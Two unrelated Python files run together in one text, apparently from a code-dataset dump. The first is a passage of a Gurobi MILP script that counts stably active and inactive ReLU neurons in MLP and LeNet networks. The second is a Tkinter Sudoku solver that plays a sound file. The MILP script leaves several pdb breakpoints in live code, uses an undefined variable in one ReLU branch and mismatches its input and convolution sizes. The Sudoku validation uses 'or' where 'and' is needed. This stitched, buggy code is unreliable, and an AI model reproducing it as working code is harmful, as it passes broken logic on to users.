ap.add_argument ('-f', '--formulation' , help = 'Formulation to be used: neuron, layer, network (default: network)', default='network')
ap.add_argument ('-F', '--feasible' , help = 'Injection of feasible solution based on network input: relaxation, random, off (default: relaxation; not available for neuron formulation)', default='relaxation')
ap.add_argument ('-t', '--time_limit', type=float , help = 'Time limit in seconds to conclude MILP solve (default: None)', default=None)
ap.add_argument ('--dataset' , dest='dataset', type=str , default='MNIST' , help='Dataset to be used (default: MNIST)')
ap.add_argument ('--limit_input', action = 'store_true', help='Limit the input for MNIST (default: False)')
args = ap.parse_args()
determine_stability_per_network = (args.formulation=='network')
determine_stability_per_layer = (args.formulation=='layer')
determine_stability_per_unit = (args.formulation=='neuron')
if args.formulation=='neuron':
args.feasible = 'off'
inject_relaxed_solution = (args.feasible=='relaxation')
inject_random_solution = (args.feasible=='random')
################################################################################
# Parameters
################################################################################
# Bound on the input nodes
# Input_min should not be negated as the hidden units since these bounds are
# directly used by the constraints of MILP formulation
input_min = 0
input_max = args.maximum
# If approx method fails, solution value
approx_method_no_solution_val = 1
# Optimisation Display
disp_opt = False
# Saving options
save_model = False
save_folder = "lp_models"
# Activation Pattern options
show_activations = False
print_freq = 1000
################################################################################
# Initialisations
################################################################################
#layers, nodes_per_layer, weights, bias = parse_file(args.input)
layers, nodes_per_layer, weights, bias = parse_npy(args.input)
import pdb;pdb.set_trace()
# Total number of layers including input is layers+1
tot_layers = layers+1
max_nodes = np.max(nodes_per_layer)
# bounds contain two values for every node
# 0 index in bounds is for maxima and 1 index in bounds is for minima
bounds = 12.34*np.ones((tot_layers, max_nodes, 2))
# Initialize bounds for layer 0 (input layer)
if (args.xbar_file is None):
bounds[0, 0:nodes_per_layer[0], 0] = input_max
bounds[0, 0:nodes_per_layer[0], 1] = input_min
# Inactive_nodes and activation patterns file
inactive_nodes_file = "inactive_input_" + str(input_min) + "_" + str(input_max) + ".dat"
active_nodes_file = "active_input_" + str(input_min) + "_" + str(input_max) + ".dat"
activation_pattern_file = "activation_pattern_abhinav_input_" + str(input_min) + "_" + str(input_max) + ".dat"
else:
input_nodes_center = np.genfromtxt(args.xbar_file, delimiter=',')
width_around_xbar = args.width_around_xbar
assert input_nodes_center.shape[0] == nodes_per_layer[0]
print("Ignoring values supplied by command argument maximum !!!")
print("Putting center around the values given by the file {}".format(args.xbar_file))
print("Width around xbar = {:.5f}".format(width_around_xbar))
for i in range(nodes_per_layer[0]):
bounds[0, i, 0] = input_nodes_center[i] + width_around_xbar
bounds[0, i, 1] = input_nodes_center[i] - width_around_xbar
# Inactive_nodes and activation patterns file
inactive_nodes_file = "inactive_center_" + os.path.basename(args.xbar_file[:-4]) + "_width_around_xbar_" + str(width_around_xbar) + ".dat"
active_nodes_file = "active_center_" + os.path.basename(args.xbar_file[:-4]) + "_width_around_xbar_" + str(width_around_xbar) + ".dat"
activation_pattern_file = "activation_pattern_abhinav_center_" + os.path.basename(args.xbar_file[:-4]) + "_width_around_xbar_" + str(width_around_xbar) + ".dat"
# Intialisation list for variables
lst = []
# ***************************** Changed here *******************************
for i in range(tot_layers):
for j in range(nodes_per_layer[i]):
lst += [(i, j)]
print("\n\n===============================================================================");
print("Input File = %s" %(args.input))
print("Num of layers = %d" %(layers))
print("Nodes per layer")
print(nodes_per_layer)
print("===============================================================================");
#print("\nWeights")
#print(weights)
#print("\nBias")
#print(bias)
print("")
if (args.approx):
print("\nSolving using the approx method ...\n\n")
print("Lower bound of input node = {}".format(input_min))
print("Upper bound of input node = {}".format(input_max))
# ***************************** Changed here *******************************
if (args.classify_flag):
print("Classification Model. Ignore the last layer since that is used for classes")
run_till_layer_index = tot_layers-1
else:
print("Not a Classification Model. Running for all layers including the last layer")
run_till_layer_index = tot_layers
print("------------------------------------------------------------------------")
network = args.input[:args.input.rfind("/")] #args.input.split("/")[0]
print("Network",network)
print("Accuracy",accuracy)
#f = open("RESULTS.txt","a+")
if args.formulation == 'neuron':
tag = OLD
else:
if args.preprocess_all_samples:
tag = ALLPRE
elif args.preprocess_partial_samples:
tag = PARTPRE
else:
tag = NOPRE
stb_dir = mkdir(os.path.join(stb_root, args.dataset, tag, cnt_rst))
exp_name = os.path.basename(os.path.dirname(args.input))
stable_neurons_path = mkpath(os.path.join(stb_dir, args.dataset, tag, stb_neuron, exp_name + '.npy'))
f = open(mkpath(os.path.join(stb_dir, exp_name + '.txt')), "a+")
f.write(network+", "+str(accuracy)+", , ")
timeouts = 0
stably_active = {}
stably_inactive = {}
timed_out = False
import torch
import torchvision.transforms as transforms
import torchvision.datasets as datasets
import random
# Initialize p_lst and q_list by adding all nodes
p_lst = [(i,j) for i in range(1,tot_layers) for j in range(nodes_per_layer[i]) ]
q_lst = [(i,j) for i in range(1,tot_layers) for j in range(nodes_per_layer[i]) ]
print(-1,len(p_lst),len(q_lst))
last_size = len(p_lst)+len(q_lst)
last_update = -1
max_nonupdates = 1
remove_p = True
remove_q = True
# Load the training dataset to preprocess p_lst and q_lst
normalize = transforms.Normalize(mean=[0], std=[1]) #Images are already loaded in [0,1]
transform_list = [transforms.ToTensor(), normalize]
if args.dataset == "MNIST":
data = datasets.MNIST(root='./data', train=True, transform=transforms.Compose(transform_list), download=True)
elif args.dataset == "CIFAR10-gray":
transform_list.insert(0, transforms.Grayscale(num_output_channels=1))
data = datasets.CIFAR10(root='./data', train=True, transform=transforms.Compose(transform_list), download=True)
elif args.dataset == "CIFAR10-rgb":
data = datasets.CIFAR10(root='./data', train=True, transform=transforms.Compose(transform_list), download=True)
elif args.dataset == "CIFAR100-rgb":
data = datasets.CIFAR100(root='./data', train=True, transform=transforms.Compose(transform_list), download=True)
n = data.__len__()
max_nonupdates = 10
# Initialize p_lst and q_lst by loading the stability from running model on training data
to_preprocess_partial = args.preprocess_partial_samples
to_preprocess_all = args.preprocess_all_samples
if to_preprocess_partial:
if not determine_stability_per_unit:
for i in range(n):
#(img, target) = data.__getitem__(random.randint(0,n))
(img, target) = data.__getitem__(i)
imgf = torch.flatten(img)
input = [imgf[j].item() for j in range(nodes_per_layer[0])]
for l in range(1,tot_layers):
output = []
for j in range(nodes_per_layer[l]):
g = bias[l-1][j][0] + sum([ weights[l-1][j,k]*input[k] for k in range(nodes_per_layer[l-1]) ])
if g>0 and (l,j) in p_lst and remove_p:
p_lst.remove((l,j))
elif g<0 and (l,j) in q_lst and remove_q:
q_lst.remove((l,j))
output.append(max(0,g))
input = output
print(i, len(p_lst), len(q_lst))
size = len(p_lst)+len(q_lst)
if size < last_size:
last_size = size
last_update = i
if len(p_lst)+len(q_lst) < 1 or i > last_update + max_nonupdates:
#print(p_lst, q_lst)
print(i, last_update, max_nonupdates)
break
if to_preprocess_all:
stable_from_sample_path = os.path.join(os.path.dirname(args.input), 'stable_neurons.npy')
stable_from_sample = np.load(stable_from_sample_path, allow_pickle=True).item()
q_lst_ = stable_from_sample['stably_active'].squeeze()
p_lst_ = stable_from_sample['stably_inactive'].squeeze()
if len(q_lst_.shape) == 1:
q_lst_ = q_lst_[None,:]
if len(p_lst_.shape) == 1:
p_lst_ = p_lst_[None,:]
q_lst = [(q_lst_[i,0], q_lst_[i,1]) for i in range(q_lst_.shape[0]) ]
p_lst = [(p_lst_[i,0], p_lst_[i,1]) for i in range(p_lst_.shape[0]) ]
remaining = len(p_lst)+len(q_lst)
# Create a new model
model = Model("mip1")
if (not(disp_opt)):
# Donot display output solving
# https://stackoverflow.com/a/37137612
model.params.outputflag = 0
# global variables
p = model.addVars(p_lst, name="p")
q = model.addVars(q_lst, name="q")
def networkcallback(model, where):
global p, q, i, nodes_per_layer, positive_units, negative_units
global h
global lst
if where == GRB.Callback.MIPSOL:
print("FOUND A SOLUTION")
p_value = model.cbGetSolution(p)
q_value = model.cbGetSolution(q)
for (m,n) in p_lst:
if p_value[m,n] == 1:
positive_units.add((m,n))
model.cbLazy(p[m,n] == 0)
#print("+",m,n)
for (m,n) in q_lst:
if q_value[m,n] == 1:
negative_units.add((m,n))
model.cbLazy(q[m,n] == 0)
#print("-",m,n)
elif where == GRB.Callback.MIP:
objbnd = model.cbGet(GRB.Callback.MIP_OBJBND)
print("BOUND:", objbnd)
if objbnd<0.5:
model.terminate()
elif where == GRB.Callback.MIPNODE:
print("MIPNODE")
vars = []
values = []
if inject_relaxed_solution:
for input in range(nodes_per_layer[0]):
vars.append(h[0,input])
values = model.cbGetNodeRel(vars)
model.cbSetSolution(vars,values)
elif inject_random_solution:
for input in range(nodes_per_layer[0]):
vars.append(h[0,input])
values.append(bounds[0, input, 0] + random.random()*(bounds[0, input, 1]-bounds[0, input, 0]))
model.cbSetSolution(vars,values)
#obj = model.cbUseSolution()
#print("GOT",obj)
#elif where == GRB.Callback.MESSAGE:
# msg = model.cbGet(GRB.Callback.MSG_STRING)
# print(msg)
# import pdb;pdb.set_trace()
class inputSolver():
def __init__(self, input_shape, input_min, input_max, name='input'):
self.input_shape = [s.item() if type(s) == np.int64 else s for s in input_shape]
self.input_min = input_min
self.input_max = input_max
self.name = name
def get_output_bounds(self):
# Specify bounds of the input variables.
# 0 index in bounds is for maxima and 1 index in bounds is for minima
bound_max = input_max*np.ones(self.input_shape)
bound_min = input_min*np.ones(self.input_shape)
self.bounds = np.stack([bound_max, bound_min], axis=-1)
def add_constrs(self):
self.h = model.addVars(*self.input_shape, lb=self.input_min, ub=self.input_max,
name=self.name + '_h')
if args.limit_input and args.dataset == 'MNIST':
sum_max = 320.0
sum_min = 15.0
model.addConstr( quicksum(self.h) <= sum_max )
model.addConstr( quicksum(self.h) >= sum_min )
class lenetSolver():
def __init__(self, name='lenet'):
self.name = name
self.solvers = [inputSolver([3, 32, 32], input_min, input_max)]
# layers, nodes_per_layer, weights, bias = parse_file(args.input)
for l in range(1, run_till_layer_index):
if l < 3:
if l == 1:
hw = 28
else:
hw = 10
self.solvers.append(conv2dSolver(weights[l-1], bias[l-1], hw, hw,
name = f'conv_{l}'))
self.solvers.append(reluSolver(l, name=f'relu_{l}'))
self.solvers.append(maxpool2dSolver(2, name=f'max_pool2d_{l}'))
if l == 2:
self.solvers.append(flattenSolver(name=f'flatten_{l}'))
else:
self.solvers.append(linearSolver(weights[l-1], bias[l-1], name=f'fc_{l}'))
self.solvers.append(reluSolver(l, name=f'relu_{l}'))
stably_active[l] = []
stably_inactive[l] = []
for i in range(len(self.solvers)):
if i == 0:
self.solvers[i].get_output_bounds()
else:
self.solvers[i].get_output_bounds(self.solvers[i-1].bounds)
# import pdb;pdb.set_trace()
def add_constrs(self):
for i in range(len(self.solvers)):
print('layer: ', i, self.solvers[i].name)
if i == 0:
self.solvers[i].add_constrs()
else:
self.solvers[i].add_constrs(self.solvers[i-1].h)
class mlpSolver():
def __init__(self, name='mlp'):
self.name = name
self.solvers = [inputSolver([nodes_per_layer[0]], input_min, input_max)]
# layers, nodes_per_layer, weights, bias = parse_file(args.input)
for l in range(1, run_till_layer_index):
self.solvers.append(linearSolver(weights[l-1], bias[l-1], name=f'fc_{l}'))
self.solvers.append(reluSolver(l, name=f'relu_{l}'))
stably_active[l] = []
stably_inactive[l] = []
for i in range(len(self.solvers)):
if i == 0:
self.solvers[i].get_output_bounds()
else:
self.solvers[i].get_output_bounds(self.solvers[i-1].bounds)
import pdb;pdb.set_trace()
def add_constrs(self):
for i in range(len(self.solvers)):
print('layer: ', i, self.solvers[i].name)
if i == 0:
self.solvers[i].add_constrs()
else:
self.solvers[i].add_constrs(self.solvers[i-1].h)
class flattenSolver():
def __init__(self, name='flatten'):
self.name = name
def get_output_bounds(self, input_bounds):
# inputs_bounds: cin x h_in x w_in x 2
self.cin, self.h_in, self.w_in, _ = input_bounds.shape
self.bounds = copy.copy(input_bounds)
def add_constrs(self, vars_in):
# flatten 3D into 1D
self.h = model.addVars(self.cin * self.h_in * self.w_in)
for i in range(self.cin):
for j in range(self.h_in):
for k in range(self.w_in):
model.addConstr(vars_in[i,j,k] == \
self.h[i * self.h_in * self.w_in + j * self.w_in + k])
class conv2dSolver():
def __init__(self, w,b, h_out, w_out, stride=1, name='conv2d'):
self.w = w # cout x cin x kernel_size x kernel_size
self.b = b # cout
self.cout,self.cin, self.ck, _ = w.shape
self.Hout, self.Wout, self.stride = h_out, w_out, stride
self.name = name
self.bounds = 12.34*np.ones((self.cout, self.Hout, self.Wout, 2)) # cout
self.conv2d = nn.Conv2d(self.cin, self.cout, self.ck)
def get_output_bounds(self, input_bounds):
# input_bounds: cin x h_in x w_in x 2
in_ = torch.tensor(input_bounds[:,:,:,0])[None,:,:,:].float()
w1 = torch.tensor(self.w)
w1[w1<0] = 0
self.conv2d.weight.data = w1
self.conv2d.bias.data = torch.tensor(self.b)
out1 = self.conv2d(in_) # 1 x cin x h_out x w_out
self.bounds[:,:,:,0] = out1.squeeze(dim=0).detach().numpy()
w2 = torch.tensor(self.w)
w2[w2>0] = 0
self.conv2d.weight.data = w2
out2 = self.conv2d(in_) # 1 x cin x h_out x w_out
self.bounds[:,:,:,1] = -out2.squeeze(dim=0).detach().numpy()
self.bounds[self.bounds < 1.0] = 1.0
###################################### Verified!
# self.w: cout x cin x ck x ck
# self.b: cout
# self.h: cout x h_out x w_out
# vars_in: cin x h_in x h_in
# h[i,j,k] = self.b[i]+ \
# sum_k1(sum_k2(sum_k3(w[i,k1,k2,k3] * vars_in[k1, h_in_+k2, w_in_+k3])))
# k1: 0 to cin
# k2: 0 to ck
# k3: 0 to ck
# h_in_ = j when stride=1, as the starting index of h_in on the input patch
# w_in_ = k when stride=1, as the starting index of w_in on the input patch
######################################
def add_constrs(self, vars_in):
self.h = model.addVars(self.cout, self.Hout, self.Wout)
for i in range(self.cout):
for j in range(self.Hout):
h_in_ = j # stride = 1
for k in range(self.Wout):
w_in_ = k # stride=1
model.addConstr(
quicksum(
vars_in[k1, h_in_ + k2, w_in_ + k3] * self.w[i,k1,k2,k3]
for k1 in range(self.cin)
for k2 in range(self.ck)
for k3 in range(self.ck)
) + self.b[i] == self.h[i, j, k])
class linearSolver():
def __init__(self, w,b, name='fc'):
self.w = w # cout x cin
self.b = b.reshape(-1) # cout
self.cout, self.cin = w.shape
self.name = name
self.bounds = 12.34*np.ones((self.cout, 2)) # cout x 2
self.fc = nn.Linear(self.cin, self.cout)
def get_output_bounds(self, input_bounds):
# input_bounds: cin x 2
in_ = torch.tensor(input_bounds.reshape(-1,2)[:,0]).float()[None]
w1 = torch.tensor(self.w)
w1[w1<0.0] = 0.0
self.fc.weight.data = w1
self.fc.bias.data = torch.tensor(self.b)
import pdb;pdb.set_trace()
out1 = self.fc(in_)
self.bounds[:,0] = out1.squeeze(dim=0).detach().numpy()
w2 = torch.tensor(self.w)
w2[w2>0.0] = 0.0
self.fc.weight.data = w2
out2 = self.fc(in_)
self.bounds[:,1] = -out2.squeeze(dim=0).detach().numpy()
self.bounds[self.bounds < 1.0] = 1.0
# the new and old methods have been verified to be equal to cal bounds.
# Notes: we use a trick to cal bounds for a linear layer.
# We assume its input are always zeros or postive.
# TODO: when the input of the network has negative values?
def get_output_bounds_old(self, input_bounds):
# input_bounds: cin x 2
for j in range(self.cout):
max_unit = self.b[j]
min_unit = self.b[j]
for jj in range(self.cin):
#TODO:
impact = self.w[j,jj]*input_bounds[jj,0]
if impact > 0:
max_unit = max_unit + impact
else:
min_unit = min_unit + impact
self.bounds[j,0] = max(max_unit,1)
self.bounds[j,1] = max(-min_unit,1)
def add_constrs(self, vars_in):
self.h = model.addVars(self.cout, lb = -GRB.INFINITY, name = self.name)
import pdb;pdb.set_trace()
for i in range(self.cout):
model.addConstr(
quicksum(
self.w[i, k] * vars_in[k] for k in range(self.cin)
) + self.b[i] - self.h[i] == 0,
self.name + "_1")
class maxpool2dSolver():
def __init__(self, kernel_size, stride=None, name='maxpool2d'):
self.ck = kernel_size
self.stride = self.ck if stride is None else stride
self.name = name
def get_output_bounds(self, input_bounds):
# inputs_bounds: cin x h_in x w_in x 2
self.input_bounds = input_bounds
self.cin, self.h_in, self.w_in, _ = input_bounds.shape
self.cout = self.cin
self.h_out = math.floor((self.h_in - self.ck)/self.stride) + 1
self.w_out = math.floor((self.w_in - self.ck)/self.stride) + 1
self.bounds = np.zeros([self.cout, self.h_out, self.w_out, 2])
in_ = torch.tensor(self.input_bounds[:,:,:,0])[None,:,:,:]
out_ = F.max_pool2d(in_, self.ck, stride=self.stride)
self.bounds[:,:,:,0] = out_.squeeze().numpy()
##########################################verified!
# vars_in: cin x hin x win
# h: cout x hout x wout
# ck: 2
# stride: ck in defalt
# h[i,j,k] = max_k1(max_k2(vars_in[i, hin_ + k1, win_ + k2] ))
# k1: in the range (0, ck)
# k2: in the range (0, ck)
# hin_ = j * stride
# hout_= k * stride
##########################################
def add_constrs(self, vars_in):
s_vars_in = [self.cin, self.h_in, self.w_in]
M = self.input_bounds[:,:,:,0] + abs(self.input_bounds[:,:,:,1])
self.h = model.addVars(*s_vars_in, lb=0.0, name = self.name + '_h')
self.z = model.addVars(*s_vars_in, vtype=GRB.BINARY, name =self.name + '_z')
for i in range(self.cout):
for j in range(self.h_out):
h_in_ = j * self.stride
for k in range(self.w_out):
w_in_ = k * self.stride
for k1 in range(self.ck):
for k2 in range(self.ck):
hh = h_in_ + k1
ww = w_in_ + k2
model.addConstr(self.h[i,j,k] >= vars_in[i, hh, ww],
name=self.name + '_1')
model.addConstr(self.h[i,j,k] <= vars_in[i, hh, ww] + \
M[i, hh, ww] * (1 - self.z[i, hh , ww]),
name=self.name + '_2')
model.addConstr(
quicksum(self.z[i, h_in_ + k1, w_in_ + k2]
for k1 in range(self.ck)
for k2 in range(self.ck)
) == 1, name = self.name + '_3')
class reluSolver():
def __init__(self, layer_idx, name='relu'):
self.bounds = None
self.input_bounds = None
self.name = name
self.layer_idx = layer_idx
def get_output_bounds(self, input_bounds):
self.input_bounds = input_bounds
self.bounds = copy.deepcopy(input_bounds)
self.bounds[:,1] = 0
def add_constrs(self, vars_in):
s_vars_in = [s.item() if type(s) == np.int64 else s for s in self.input_bounds.shape[:-1]]
self.h = model.addVars(*s_vars_in, lb=0.0, name = self.name + '_h')
self.hbar = model.addVars(*s_vars_in, lb=0.0, name = self.name + '_hbar')
self.z = model.addVars(*s_vars_in, vtype=GRB.BINARY, name =self.name + '_z')
for ii in range(s_vars_in[0]):
# when the inputs are 1D
if len(s_vars_in) == 1:
model.addConstr(vars_in[ii] == self.h[ii] - self.hbar[ii], self.name + "_1")
model.addConstr(self.h[ii] <= 2*self.input_bounds[ii, 0] * self.z[ii],
self.name + "_2")
model.addConstr(self.hbar[ii]<= 2*self.input_bounds[ii, 1] * (1 - self.z[ii]),
self.name + "_3")
#import pdb;pdb.set_trace()
if (self.layer_idx, ii) in p_lst:
print('p_lst', self.layer_idx, ii)
model.addConstr(p[self.layer_idx, ii] <= self.z[ii])
if (self.layer_idx, ii) in q_lst:
print('q_lst', self.layer_idx, ii)
model.addConstr(q[self.layer_idx, ii] <= 1-self.z[ii])
# when the inputs are 3D
if len(s_vars_in) == 3:
cin, hin, win = s_vars_in
for jj in range(hin):
for kk in range(win):
model.addConstr(vars_in[ii,jj,kk] == self.h[ii,jj,kk] - self.hbar[ii,jj,kk],
self.name + "_1")
model.addConstr(
self.h[ii,jj,kk] <= 2*self.input_bounds[ii,jj,kk,0]*self.z[ii,jj,kk],
self.name + "_2")
model.addConstr(
self.hbar[ii,jj,kk] <= 2 * self.input_bounds[ii,jj,kk,1] * \
(1-self.z[ii,jj,kk]),
self.name + "_3")
# convert 3D to 1D in the same way as flatten array in numpy
idx = ii * hin * win + jj * win + kk
if (self.layer_idx, idx) in p_lst:
model.addConstr(p[self.layer_idx, idx] <= self.z[ii, jj, kk])
if (self.layer_idx, idx) in q_lst:
model.addConstr(q[self.layer_idx, idx] <= 1-z[ii, jj, kk])
#
def mlp_solver_old():
global p, q, h
for i in range(1,run_till_layer_index):
stably_active[i] = []
stably_inactive[i] = []
for j in range(nodes_per_layer[i]):
max_unit = bias[i-1][j]
min_unit = bias[i-1][j]
for jj in range(nodes_per_layer[i-1]):
impact = weights[i-1][j,jj]*bounds[i-1,jj,0]
if impact > 0:
max_unit = max_unit + impact
else:
min_unit = min_unit + impact
bounds[i,j,0] = max(max_unit,1)
bounds[i,j,1] = max(-min_unit,1)
# Create variables
g = model.addVars(lst, lb=-GRB.INFINITY, name="g")
h = model.addVars(lst, lb=0.0 , name="h")
hbar = model.addVars(lst, lb=0.0 , name="hbar")
z = model.addVars(lst, vtype=GRB.BINARY, name="z")
# Specify bounds of the input variables.
# 0 index in bounds is for maxima and 1 index in bounds is for minima
model.addConstrs( h[0, k] <= bounds[0, k, 0] for k in range(nodes_per_layer[0]))
model.addConstrs( h[0, k] >= bounds[0, k, 1] for k in range(nodes_per_layer[0]))
if args.limit_input and args.dataset == 'MNIST':
model.addConstr( quicksum(h[0, k] for k in range(nodes_per_layer[0])) <= 320.0 )
model.addConstr( quicksum(h[0, k] for k in range(nodes_per_layer[0])) >= 15.0 )
# Add constraints for all the nodes starting from the input layer till nodes in this layer
for m in range(1, run_till_layer_index):
for n in range(nodes_per_layer[m]):
name = "c_" + str(m) + str(n)
model.addConstr(
quicksum(
weights[m-1][n,k] * h[m-1,k] for k in range(nodes_per_layer[m-1])
) + bias[m-1][n] - g[m,n] == 0,
name + "_1")
model.addConstr(g[m,n] == h[m,n] - hbar[m,n], name + "_2")
model.addConstr(h[m,n] <= 2*bounds[m, n, 0] * z[m,n], name + "_3")
model.addConstr(hbar[m,n] <= 2*bounds[m, n, 1] * ( 1 - z[m,n] ), name + "_4")
for (m,n) in p_lst:
model.addConstr(p[m,n] <= z[m,n])
for (m,n) in q_lst:
model.addConstr(q[m,n] <= 1-z[m,n])
# the original methods to add constraints for MLP
#mlp_solver_old()
# the new methods to add constraints for MLP
# test mlp_solver
#mlp_solver = mlpSolver()
#mlp_solver.add_constrs()
# test lenet_solver
lenet_solver = lenetSolver()
lenet_solver.add_constrs()
import pdb;pdb.set_trace()
# model.setObjective(quicksum(p[m,n]+q[m,n] for m in range(1, run_till_layer_index) for n in range(nodes_per_layer[m])) , GRB.MAXIMIZE)
model.setObjective(
quicksum(p[m,n] for (m,n) in p_lst) + quicksum(q[m,n] for (m,n) in q_lst) ,
GRB.MAXIMIZE)
try:
print("SOLVING FOR",network)
positive_units = set()
negative_units = set()
model.params.LazyConstraints = 1
model.params.StartNodeLimit = 1
if args.time_limit != None:
model.setParam(GRB.Param.TimeLimit, args.time_limit-time.time()+time_before)
model.optimize(networkcallback)
if args.time_limit != None and time.time()-time_before > args.time_limit:
timed_out = True
except GurobiError as e:
print("3 Error reported")
print('Obj: %g' % (model.objVal))
print(quicksum(p[m, n] for (m, n) in p_lst))
print(quicksum(q[m, n] for (m, n) in q_lst))
for m in range(1, run_till_layer_index):
for n in range(nodes_per_layer[m]):
#if (m,n) in positive_units and not (m,n) in negative_units:
if (m,n) in q_lst and not (m,n) in negative_units:
stably_active[m].append(n)
#elif (m,n) in negative_units and not (m,n) in positive_units:
elif (m,n) in p_lst and not (m,n) in positive_units:
stably_inactive[m].append(n)
if not timed_out:
print("Layer %d Completed..." %(m))
matrix_list = []
#for j in stably_active[m]:
# matrix_list.append([weights[m-1][j,k] for k in range(nodes_per_layer[m-1])])
# import pdb;pdb.set_trace()
matrix_list = [weights[m-1][j] for j in stably_active[m]]
print("Active: ", stably_active[m])
import numpy
rank = numpy.linalg.matrix_rank(numpy.array(matrix_list))
#rank = torch.linalg.matrix_rank(torch.tensor(matrix_list))
#rank = len(stably_active[m]) # torch.matrix_rank(torch.tensor(matrix_list))
print("Active rank: ", rank, "out of", len(stably_active[m]))
print("Inactive: ", stably_inactive[m])
f.write(str(len(stably_active[m]))+", "+str(rank)+", "+str(len(stably_inactive[m]))+",, ")
else:
f.write("-, -, -,, ")
# Print the maxima and the minima from first hidden layer to output layer
time_after = time.time()
f.write(str(time_after-time_before)+",, ")
f.write(args.formulation+", "+args.feasible+",, "+str(remaining)+",, \n")
f.close()
np.save(stable_neurons_path, {'stably_active': stably_active, 'stably_inactive': stably_inactive})
#print_bounds(tot_layers, nodes_per_layer, bounds)
# If we have to do only bounds, do not go for activations
################################################################################
if (args.bounds_only_flag):
sys.exit()
# Reseting the parameters of the model
model.reset()
print("")
# Writing the activation patterns to a file
my_file = open(os.path.join(os.path.dirname(args.input), activation_pattern_file), "w")
my_file.write("n = [" + ', '.join(map(str, nodes_per_layer)) + "]\n")
|
990,154 | 09804a679012fb70def25f44aba16840cb2588d7 | from tkinter import *
import os
from pygame import mixer
mixer.init()
def play():
mixer.music.load("Sound.mp3")
mixer.music.play()
play() #solve
class Sudoku:
def __init__(self, jogo):#jogo eh uma matrix 9x9:
try:
for i in range(9):
for j in range(9):
if int(jogo[i][j]) >= 0 or int(jogo[i][j]) <=9:
jogo[i][j] = int(jogo[i][j])
else:
raise ValueError("DADOS INCORRETOS")
except:
print('ERRO DE INICIALIZAÇÃO')
self.__jogo = jogo
self.__solucao = []
def getJogo(self):
return self.__jogo
print(self.__jogo)
def setSolucao(self, jogo):
self.__solucao = jogo
def getNum(self, i,j):
return self.__jogo[i][j]
def setNum(self,i,j,n):
self.__jogo[i][j] = n
def getSolucao(self):
return self.__solucao
def verifica(self,lin,col, n):
#n varia de um a nove
#a funcao verifica se eh possivel acrescentar um numero no jogo sem contrariar as regras
lin = int(lin)
col = int(col)
if self.getNum(lin,col) == n:
return True
if self.getNum(lin,col) != 0:
return False
for c in range(0,9):#verifica se o numero ja existe na linha
if self.__jogo[lin][c] == n:
return False
for l in range(0,9):#verifica se o numero ja existe na coluna
if self.__jogo[l][col] == n:
return False
lr = int(lin/3)
cr = int(col/3)
for l in range(lr*3, (lr + 1)*3):
for c in range(cr*3, (cr + 1)*3):
#if l >= 9 or c >= 9:
# continue
if self.__jogo[l][c] == n:
#print('l = ', l, 'c = ', c, 'num = ', self.getNum(l,c), 'n = ', n)
return False
return True
def resolve(self, i, j):
if i == 9:
self.setSolucao(self.__jogo)
self.escreveSolucao(self.getSolucao())
return 0
else:
for n in range(1,10):
if self.verifica(i,j,n):
t = self.getNum(i,j)
self.setNum(i,j,n)
if j == 8:
self.resolve(i+1, 0)
else:
self.resolve(i, j+1)
self.setNum(i,j,t)
def escreveSolucao(self, solucao):
f = open("SudokuTEMP.txt", "w")
try:
for i in range (0,9):
for j in range (0,9):
f.write(str(solucao[i][j]))
f.write(' ')
f.write('\n')
f.write('\n\n')
f.close()
except:
print("ERRO AO SALVAR O ARQUIVO")
finally:
f.close()
play()
class Janela:
def __init__(self, toplevel):
toplevel.resizable(width = False, height = False)
toplevel.title('Sudoku Solver')
fonte = ('Arial', 18)
self.fr = Frame(toplevel)
self.fr.bind('<Motion>', self.corrige)
self.fr.pack(ipady = 0, padx = 0)
self.fr1 = Frame(toplevel)
self.fr1.bind('<Motion>', self.corrige)
self.fr1.pack(ipady = 0, padx = 0)
self.fr2 = Frame(toplevel)
self.fr2.bind('<Motion>', self.corrige)
self.fr2.pack(ipady = 0, padx = 0)
self.fr3 = Frame(toplevel)
self.fr3.bind('<Motion>', self.corrige)
self.fr3.pack(ipady = 0, padx = 0)
self.fr4 = Frame(toplevel)
self.fr4.bind('<Motion>', self.corrige)
self.fr4.pack(ipady = 0, padx = 0)
self.fr5 = Frame(toplevel)
self.fr5.bind('<Motion>', self.corrige)
self.fr5.pack(ipady = 0, padx = 0)
self.fr6 = Frame(toplevel)
self.fr6.bind('<Motion>', self.corrige)
self.fr6.pack(ipady = 0, padx = 0)
self.fr7 = Frame(toplevel)
self.fr7.bind('<Motion>', self.corrige)
self.fr7.pack(ipady = 0, padx = 0)
self.fr8 = Frame(toplevel)
self.fr8.bind('<Motion>', self.corrige)
self.fr8.pack(ipady = 0, padx = 0)
self.fr9 = Frame(toplevel)
self.fr9.bind('<Motion>', self.corrige)
self.fr9.pack(ipady = 1, padx = 1)
self.__jogo = []
for i in range(1,10):
self.__jogo += [[0,0,0,0,0,0,0,0,0]]
variavel = self.fr
px = 0
py = 0
cor = 'white'
espessura = 0
for i in range(0,9):
for j in range(0,9):
if i == 0:
variavel = self.fr
if i == 1:
variavel = self.fr1
if i == 2:
variavel = self.fr2
if i == 3:
variavel = self.fr3
if i == 4:
variavel = self.fr4
if i == 5:
variavel = self.fr5
if i == 6:
variavel = self.fr6
if i == 7:
variavel = self.fr7
if i == 8:
variavel = self.fr8
if j%2 == 0 and i%2 == 0:
espessura = 1
if j%2 != 0 and i%2 != 0:
espessura = 1
if j in [3,4,5] and i in [0,1,2,6,7,8]:
cor = 'yellow'
elif j not in [3,4,5] and i not in [0,1,2,6,7,8]:
cor = 'orange'
else:
cor = 'white'
self.__jogo[i][j] = Entry(variavel, width = 2, font = fonte, bg = cor, cursor = 'arrow', borderwidth = 0,
highlightcolor = 'yellow', highlightthickness = 1, highlightbackground = 'black',
textvar = jg[i][j])
self.__jogo[i][j].bind('<Button-1>', self.corrige)
self.__jogo[i][j].bind('<FocusIn>', self.corrige)
self.__jogo[i][j].bind('<Motion>', self.corrige)
self.__jogo[i][j].pack(side = LEFT, padx = px, pady = py)
espessura = 0
self.btn1 = Button(self.fr9, text = 'Save', fg = 'red', font = ('Arial', 13), command = self.salvar)
self.btn1.pack(side = RIGHT)
self.btn2 = Button(self.fr9, text = 'Solve', fg = 'blue', font = ('Arial', 13), command = self.regra)
self.btn2.pack(side = LEFT)
self.btn3 = Button(self.fr9, text = 'Open', fg = 'blue', font = ('Arial', 13), command = self.abre)
self.btn3.pack(side = LEFT)
self.btn3 = Button(self.fr9, text = 'Reset', fg = 'red', font = ('Arial', 13), command = self.reset)
self.btn3.pack(side = RIGHT)
self.btn4 = Button(self.fr9, text = 'stop', fg = 'red', font = ('Arial', 13),command=self.stop)
self.btn4.pack(side = RIGHT)
